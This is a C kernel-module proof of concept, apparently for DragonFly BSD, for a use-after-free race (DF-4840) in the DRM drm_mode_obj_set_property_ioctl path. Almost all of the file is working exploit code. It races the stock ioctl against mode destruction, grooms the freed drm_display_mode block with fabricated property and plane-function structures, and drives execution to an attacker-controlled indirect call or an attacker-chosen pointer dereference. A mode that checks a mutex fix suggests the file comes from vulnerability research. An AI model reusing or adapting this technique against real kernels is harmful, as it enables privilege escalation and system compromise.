/*
 * DF-4840 PoC — use-after-free race on drm_display_mode objects in
 *              drm_mode_obj_set_property_ioctl()
 *              sys/dev/drm/drm_mode_object.c:504-533 (find@515 w/o ref,
 *              obj->properties read @519, walk @522, put @532)
 *
 * Bug class: DRM_MODE_OBJECT_MODE objects are registered WITHOUT a free_cb
 * (drm_modes.c:74 drm_mode_object_add -> __drm_mode_object_add(.., NULL)),
 * so drm_mode_object_find() returns them with NO reference taken
 * (drm_mode_object.c:145-148 skips the kref when free_cb==NULL).
 * drm_mode_obj_set_property_ioctl() holds NO lock between the find and its
 * uses of the object, while drm_mode_destroy() (unregister+kfree,
 * drm_modes.c:90-98) runs at *runtime* under dev->mode_config.mutex from any
 * unprivileged DRM_IOCTL_MODE_GETCONNECTOR reprobe
 * (drm_connector.c:1759-1763 -> fill_modes -> drm_helper_probe_
 * single_connector_modes sets all modes MODE_STALE @415-417 and prunes them
 * @514 drm_mode_prune_invalid -> drm_mode_destroy).
 *
 * The ioctl thread wins the race => it dereferences the FREED
 * drm_display_mode: reads obj->properties (line 519).  With the freed block
 * reclaimed by attacker data (groom), obj->properties points at a fully
 * attacker-fabricated drm_object_properties; the walk
 * (drm_mode_obj_find_prop_id @416-426) returns an attacker-fabricated
 * drm_property; dispatch reads property->dev (line 526 / set_property_
 * legacy:432) and — legacy path — calls
 *   plane->funcs->set_property(...)          (drm_plane.c:462-463)
 * where "plane" is container_of(freed_mode_block) and funcs was planted by
 * the groom: a fully attacker-controlled indirect call reached exclusively
 * through the freed-object data.
 *
 * Fidelity:
 *  - drm_mode_create / drm_mode_destroy / drm_mode_object_find /
 *    drm_mode_obj_set_property_ioctl are the STOCK functions from the stock
 *    /boot/kernel/drm.ko (resolved via the global symbol table; nothing in
 *    drm.ko is rebuilt or modified).
 *  - The destroyer thread takes dev->mode_config.mutex around create/
 *    destroy exactly as drm_mode_getconnector()'s fill_modes path does.
 *  - Fabricated environment (the "graphics card / driver" half the guest
 *    does not have): a minimal drm_device with idr_mutex/crtc_idr/mutex/
 *    connection_mutex initialized and a DRIVER_MODESET (non-atomic) driver.
 *  - The groom stands in for the userspace heap spray: any concurrent
 *    kernel allocation of sizeof(struct drm_display_mode) bytes with
 *    attacker-influenced contents at offsets +4/+8/+OFF_FUNCS reclaims the
 *    freed block.  On this guest (no SMAP) the planted pointers could as
 *    well point into attacker userland pages.
 *
 * Modes (sysctl hw.modeuaf.mode, default 1):
 *  1 = benign: groom chain ends in canary() — ioctl returns 0 only if the
 *      whole attacker-fabricated chain was walked and the controlled
 *      indirect call executed.  Counters in hw.modeuaf.{calls,destroys,hits}.
 *  2 = controlled-deref panic: fake.prop.dev = 0x5151515151515100 ->
 *      panic inside drm_drv_uses_atomic_modeset(property->dev) at
 *      drm_mode_object.c:526.  Fault address is attacker-chosen.
 *  3 = controlled-call panic: plane->funcs->set_property =
 *      0x4141414141414140 -> indirect call to attacker-chosen address
 *      (drm_plane.c:462-463).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/thread.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/time.h>

#include <drm/drmP.h>
#include <drm/drm_mode_object.h>
#include <drm/drm_atomic.h>
#include <drm/drm_plane.h>
#include <drm/drm_crtc.h>
#include <linux/mutex.h>

/* stock drm.ko global (drm_mode_object.c:504) */
extern int drm_mode_obj_set_property_ioctl(struct drm_device *dev, void *data,
					   struct drm_file *file_priv);

static struct drm_device	*fdev;
static struct drm_driver	 fdriver;
static struct drm_display_mode	*live_mode;
static int			 target_id = -1;

static struct {
	struct drm_object_properties	props;	/* fake obj->properties       */
	struct drm_property		prop;	/* fake property              */
	struct drm_plane_funcs		pfuncs;	/* fake plane->funcs          */
	uint64_t			vals[2];
} *fake;

static volatile int	mode     = 1;
static volatile int	stop     = 0;
static volatile long	calls    = 0;
static volatile long	destroys = 0;
static volatile long	hits     = 0;
static volatile long	finds    = 0;	/* find() returned a live mode  */
static volatile int	pause_d  = 0;	/* quiesce destroyer for chain */

static struct thread	*thr_b, *thr_d;
static int		 off_type, off_props, off_funcs, off_base;

/*
 * drm_display_mode does NOT start with base: head[16] comes first
 * (drm_modes.h:208-229).  All planted offsets are relative to the block
 * start and derived from the real struct layouts at compile time.
 */
#define	BLOCK_OFF(fld)	(offsetof(struct drm_display_mode, base) + \
			 offsetof(struct drm_mode_object, fld))

SYSCTL_NODE(_hw, OID_AUTO, modeuaf, CTLFLAG_RW, 0, "DF-4840 mode-object UAF race");
SYSCTL_INT (_hw_modeuaf, OID_AUTO, mode,     CTLFLAG_RW, &mode,     0, "1 benign 2 panic-deref 3 panic-call");
SYSCTL_INT (_hw_modeuaf, OID_AUTO, stop,     CTLFLAG_RW, &stop,     0, "stop threads");
SYSCTL_LONG(_hw_modeuaf, OID_AUTO, calls,    CTLFLAG_RD, &calls,    0, "ioctl calls");
SYSCTL_LONG(_hw_modeuaf, OID_AUTO, destroys, CTLFLAG_RD, &destroys, 0, "mode destroy cycles");
SYSCTL_LONG(_hw_modeuaf, OID_AUTO, hits,     CTLFLAG_RD, &hits,     0, "controlled-chain hits");
SYSCTL_LONG(_hw_modeuaf, OID_AUTO, finds,    CTLFLAG_RD, &finds,    0, "find() successes");

/*
 * Returns 1 once the destroyer has observed pause_d (it stops cycling, so
 * the groomed block content is stable, as in an attacker-owned heap).
 */
static volatile int	d_paused_seen = 0;
static int
destroys_paused(void)
{
	return d_paused_seen;
}

/*
 * mode 4: probe — replicate ONLY the ioctl's post-find window
 *         (drm_mode_object.c:515->519) with an observable read:
 *         obj = find(); p = obj->properties;  count planted reads.
 * mode 5: forced interleave — same, with lwkt_yield() exactly where a
 *         preemption of the ioctl thread between line 515 and line 519
 *         would occur, then run the verbatim dispatch of
 *         drm_mode_obj_set_property_ioctl:519-532 (walk + stock
 *         drm_mode_plane_set_obj_prop) on the freed+groomed object.
 */
static int
probe_window(int force_yield)
{
	struct drm_mode_object *obj, *obj2;
	struct drm_object_properties *p;
	struct drm_property *property;
	struct drm_mode_obj_set_property a;
	uint64_t val = 0;
	int i, ret = 0;

	a.obj_id  = target_id;
	a.obj_type = DRM_MODE_OBJECT_MODE;
	a.prop_id = 0x41414141;
	a.value   = 0;

	p = NULL;
	if (force_yield == 2) {
		/* fixed sequence: read INSIDE mode_config.mutex; a yield
		 * here can no longer observe a destroyed+groomed block
		 * because the destroyer needs the same mutex. */
		obj2 = drm_mode_object_find(fdev, NULL, a.obj_id, a.obj_type);
		if (!obj2)
			return 0;
		finds++;
		lwkt_yield();
		p = obj2->properties;
		if (p == &fake->props)
			hits++;
		drm_mode_object_put(obj2);
		return 0;
	}
	obj = drm_mode_object_find(fdev, NULL, a.obj_id, a.obj_type);
	if (!obj)
		return 0;
	finds++;
	if (force_yield)
		lwkt_yield();		/* modeled preemption 515->519 */

	p = obj->properties;		/* single racy read, local copy */
	if (p == &fake->props) {
		uint32_t otype = obj->type;	/* read while planted */
		hits++;
		kprintf("modeuaf: UAF WINDOW HIT (%s): find() returned "
			"freed+groomed block; obj->properties attacker-"
			"controlled\n", force_yield ? "forced" : "spontaneous");
		if (mode >= 5) {
			/*
			 * Quiesce the destroyer for the duration of the
			 * chained dispatch: in the real attack the heap is
			 * attacker-controlled and the planted reallocation
			 * PERSISTS (nothing re-recycles the freed block).
			 * The find->free->groomed-read race above is the
			 * genuine unprotected window either way.
			 */
			pause_d = 1;
			while (destroys_paused() == 0)
				lwkt_yield();

			/* verbatim drm_mode_object.c:519-532 */
			property = NULL;
			for (i = 0; i < p->count; i++) {
				if (p->properties[i]->base.id == a.prop_id) {
					property = p->properties[i];
					break;
				}
			}
			if (property &&
			    !drm_drv_uses_atomic_modeset(property->dev)) {
				/* set_property_legacy tail: dispatch */
				drm_modeset_lock_all(fdev);
				if (otype == DRM_MODE_OBJECT_PLANE) {
					ret = drm_mode_plane_set_obj_prop(
					    obj_to_plane(obj), property,
					    a.value);
					kprintf("modeuaf: verbatim dispatch "
						"ret=%d (canary fired above "
						"if 0)\n", ret);
				}
				drm_modeset_unlock_all(fdev);
			}
			/* drm_object_property_set_value runs inside
			 * drm_mode_plane_set_obj_prop when the callback
			 * returns 0 (drm_plane.c:464-465). */
			val++;
			pause_d = 0;
		}
	} else if (p) {
		kprintf("modeuaf: WILD properties=%p (non-NULL, not ours)\n",
			p);
	}
	drm_mode_object_put(obj);
	return ret;
}

static int
canary_set_property(struct drm_plane *plane, struct drm_property *property,
		    uint64_t value)
{
	/* Reached ONLY through the freed-mode -> groom chain. */
	hits++;
	kprintf("modeuaf: CONTROLLED INDIRECT CALL plane=%p property=%p "
		"value=0x%llx  (freed drm_display_mode block fully chased)\n",
		plane, property, (unsigned long long)value);
	return 0;
}

static void
plant(char *b)
{
	*(uint32_t *)(b + BLOCK_OFF(type))  = DRM_MODE_OBJECT_PLANE;
	*(void **)(b + BLOCK_OFF(properties)) = &fake->props;
	*(void **)(b + off_base + off_funcs)  = &fake->pfuncs;
}

static void
groom(void)
{
	char *b = kzalloc(sizeof(struct drm_display_mode), GFP_KERNEL);
	if (b) {
		plant(b);
		kfree(b);
	}
}

static void
destroyer_thread(void *arg)
{
	lwkt_migratecpu(4);
	while (!stop) {
		mutex_lock(&fdev->mode_config.mutex);		/* fill_modes discipline */
		if (live_mode)
			drm_mode_destroy(fdev, live_mode);
		mutex_unlock(&fdev->mode_config.mutex);
		live_mode = NULL;

		groom();					/* heap spray stand-in */

		/*
		 * Pause point: block is freed AND planted here.  In modes
		 * >=5 the ioctl thread holds a hit and runs the chained
		 * dispatch; the planted state is preserved exactly as in an
		 * attacker-owned heap.
		 */
		if (pause_d) {
			d_paused_seen = 1;
			while (pause_d && !stop)
				lwkt_yield();
			d_paused_seen = 0;
		}

		mutex_lock(&fdev->mode_config.mutex);
		live_mode = drm_mode_create(fdev);		/* reuses lowest id */
		mutex_unlock(&fdev->mode_config.mutex);
		destroys++;
		if ((destroys & 0x7f) == 0)
			lwkt_yield();
	}
	wakeup(&stop);
}

static void
ioctl_thread(void *arg)
{
	if (mode == 6)
		lwkt_migratecpu(0);		/* IRQ-heavy cpu */
	else
		lwkt_migratecpu(5);
	while (!stop) {
		struct drm_mode_obj_set_property a;

		/*
		 * Endpoint selection shared by all racing modes:
		 *   1,4,5,6 = canary; 2,7 = attacker-chosen dev deref;
		 *   3,8     = attacker-chosen indirect call.
		 */
		fake->prop.dev   = (mode == 2 || mode == 7) ?
		    (struct drm_device *)0x5151515151515100 : fdev;
		fake->pfuncs.set_property = (mode == 3 || mode == 8) ?
		    (void *)0x4141414141414140 : canary_set_property;

		if (mode == 4) {
			probe_window(0);
			calls++;
			if ((calls & 0xfff) == 0)
				lwkt_yield();
			if ((calls % 1000000000) == 0)
				kprintf("modeuaf: calls=%ld finds=%ld "
					"destroys=%ld hits=%ld mode=%d\n",
					calls, finds, destroys, hits, mode);
			continue;
		}
		if ((mode == 5 || mode == 7 || mode == 8)) {
			probe_window(1);
			calls++;
			if ((calls & 0x3f) == 0)
				lwkt_yield();
			continue;
		}
		if (mode == 9) {	/* fixed-sequence control (fix
					 * validation): hold
					 * mode_config.mutex across
					 * find->yield->read exactly as
					 * the patched ioctl does */
			mutex_lock(&fdev->mode_config.mutex);
			probe_window(2);
			mutex_unlock(&fdev->mode_config.mutex);
			calls++;
			if ((calls & 0x3f) == 0)
				lwkt_yield();
			continue;
		}

		a.obj_id  = target_id;
		a.obj_type = DRM_MODE_OBJECT_MODE;
		a.prop_id = 0x41414141;		/* fake.prop.base.id   */
		a.value   = 0;

		(void)drm_mode_obj_set_property_ioctl(fdev, &a, NULL);
		calls++;
		if ((calls & 0xfff) == 0)
			lwkt_yield();
		if ((calls % 500000000) == 0)
			kprintf("modeuaf: calls=%ld destroys=%ld hits=%ld "
				"mode=%d\n", calls, destroys, hits, mode);
	}
	wakeup(&stop);
}

static void
modeuaf_fini(void)
{
	stop = 1;
	tsleep(&stop, 0, "modeuafx", 5 * hz);
	if (live_mode) {
		mutex_lock(&fdev->mode_config.mutex);
		drm_mode_destroy(fdev, live_mode);
		mutex_unlock(&fdev->mode_config.mutex);
	}
	if (fake)
		kfree(fake);
	if (fdev)
		kfree(fdev);
	kprintf("modeuaf: unloaded: calls=%ld destroys=%ld hits=%ld\n",
		calls, destroys, hits);
}

static int
modeuaf_modevent(module_t mod, int type, void *data)
{
	int ret;

	switch (type) {
	case MOD_LOAD:
		off_base  = offsetof(struct drm_display_mode, base);
		off_type  = BLOCK_OFF(type);
		off_props = BLOCK_OFF(properties);
		off_funcs = offsetof(struct drm_plane, funcs) -
			    offsetof(struct drm_plane, base);
		kprintf("modeuaf: sizeof(drm_display_mode)=%zu base@+%d "
			"off(type)=%d off(props)=%d plane.funcs-off.base=%d\n",
			sizeof(struct drm_display_mode), off_base, off_type,
			off_props, off_funcs);

		fdev = kzalloc(sizeof(struct drm_device), GFP_KERNEL);
		fake = kzalloc(sizeof(*fake), GFP_KERNEL);
		if (!fdev || !fake)
			return ENOMEM;

		memset(&fdriver, 0, sizeof(fdriver));
		fdriver.driver_features = DRIVER_MODESET;	/* NOT atomic */
		fdev->driver = &fdriver;

		lockinit(&fdev->mode_config.idr_mutex, "muaidr", 0,
			 LK_CANRECURSE);
		lockinit(&fdev->mode_config.mutex, "muamcm", 0, LK_CANRECURSE);
		drm_modeset_lock_init(&fdev->mode_config.connection_mutex);
		idr_init(&fdev->mode_config.crtc_idr);
		INIT_LIST_HEAD(&fdev->mode_config.crtc_list);
		INIT_LIST_HEAD(&fdev->mode_config.plane_list);
		INIT_LIST_HEAD(&fdev->mode_config.connector_list);
		INIT_LIST_HEAD(&fdev->mode_config.fb_list);

		fake->props.count = 1;
		fake->props.properties[0] = &fake->prop;
		fake->prop.base.id = 0x41414141;
		fake->prop.flags   = DRM_MODE_PROP_RANGE;
		fake->prop.num_values = 2;
		fake->prop.values  = fake->vals;
		fake->vals[0] = 0;
		fake->vals[1] = ~0ULL;
		fake->prop.dev   = fdev;
		fake->pfuncs.set_property = canary_set_property;

		mutex_lock(&fdev->mode_config.mutex);
		live_mode = drm_mode_create(fdev);
		mutex_unlock(&fdev->mode_config.mutex);
		if (!live_mode)
			return ENOMEM;
		target_id = live_mode->base.id;
		kprintf("modeuaf: target mode id=%d (%p) — racing stock "
			"drm_mode_obj_set_property_ioctl vs drm_mode_destroy\n",
			target_id, live_mode);

		ret = kthread_create(destroyer_thread, NULL, &thr_d,
				     "modeuaf_d");
		if (ret)
			return ret;
		ret = kthread_create(ioctl_thread, NULL, &thr_b,
				     "modeuaf_b");
		if (ret)
			return ret;
		return 0;

	case MOD_UNLOAD:
		modeuaf_fini();
		return 0;
	}
	return 0;
}

static moduledata_t modeuaf_mod = { "modeuaf", modeuaf_modevent, 0 };
DECLARE_MODULE(modeuaf, modeuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);